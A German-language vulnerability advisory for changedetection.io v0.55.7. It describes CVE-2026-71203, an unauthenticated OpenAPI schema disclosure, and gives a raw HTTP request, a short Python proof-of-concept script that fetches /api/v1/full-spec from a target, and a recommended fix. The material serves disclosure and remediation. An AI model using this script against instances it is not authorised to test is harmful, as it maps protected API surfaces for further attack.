
PoC: changedetection.io unauthentifizierte Offenlegung des OpenAPI-Schemas (CVE-2026-71203, Medium 5.3)
Produkt: dgtlmoon/changedetection.io — v0.55.7
Datei: changedetectionio/api/Spec.py
CWE: CWE-306 — Fehlende Authentifizierung für kritische Funktion
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — 5.3 (Mittel)
CNA: Turan Security · CVE-Eintrag
Die REST-API-Ressourcen von changedetection.io werden durch einen @auth.check_token-Dekorator geschützt, der den x-api-key-Header des Aufrufers validiert — mit Ausnahme der Spec-Ressource, die unter registriert ist () und deren -Methode weder mit noch mit dekoriert ist.
/api/v1/full-specchangedetectionio/api/Spec.pyget@auth.check_token@validate_openapi_requestJeder nicht authentifizierte Netzwerk-Client kann das vollständige OpenAPI-Schema der Instanz abrufen und damit die gesamte interne API-Oberfläche (alle Ressourcenpfade, Parameter und Antwortschemata) offenlegen, ohne einen API-Schlüssel vorzulegen. Das Schema selbst enthält zwar keine sensiblen Benutzerdaten, liefert einem Angreifer jedoch eine vollständige, maßgebliche Karte aller weiteren API-Endpunkte als Angriffsziele — was den Aufwand für weitere Aufklärung gegen die tatsächlich geschützten Ressourcen der Instanz senkt.
GET /api/v1/full-spec HTTP/1.1
Host: target-instance
Es ist kein x-api-key-Header, kein Cookie und keinerlei Anmeldedaten erforderlich. Die Antwort ist das vollständige OpenAPI-Spezifikationsdokument.
Proof of Concept (Python):
import requests
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
resp = requests.get(f"{target}/api/v1/full-spec", timeout=10)
print(f"[*] Status: {resp.status_code}")
if resp.status_code == 200:
print("[+] Full OpenAPI schema disclosed with zero authentication:")
print(resp.text[:1000])
Bei jeder anderen REST-Ressource der API sind die Handler-Methoden mit @auth.check_token (und @validate_openapi_request) dekoriert; die get-Methode der Spec-Ressource wurde nicht auf dieselbe Weise dekoriert, sodass sie den einzigen nicht authentifizierten Endpunkt in einer ansonsten per API-Schlüssel abgesicherten Oberfläche darstellt.
Wenden Sie @auth.check_token auf Spec.get() an, konsistent mit allen anderen API-Ressourcen — oder machen Sie, falls das Schema öffentlich sein soll, diese Entscheidung explizit und dokumentiert, anstatt sie als Inkonsistenz bestehen zu lassen.